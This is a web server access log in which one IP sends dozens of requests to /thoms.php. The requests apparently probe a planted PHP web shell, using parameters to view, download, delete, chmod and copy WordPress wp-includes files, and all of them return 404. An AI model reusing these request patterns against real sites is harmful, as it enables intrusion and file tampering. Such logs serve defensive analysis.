45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?dl=bookmark-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?del=class-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?chmod=sodium_compat&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?del=class-phpass.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?chmod=https-detection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?chmod=comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FText HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?del=class-pop3.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?del=customize&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?chmod=abilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:57 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?dl=compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhttp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhttp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?dl=media.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?dl=https-detection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?dl=bookmark.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?del=class-wp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?chmod=nav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?chmod=class-requests.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffonts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffonts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?dl=ms-blogs.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
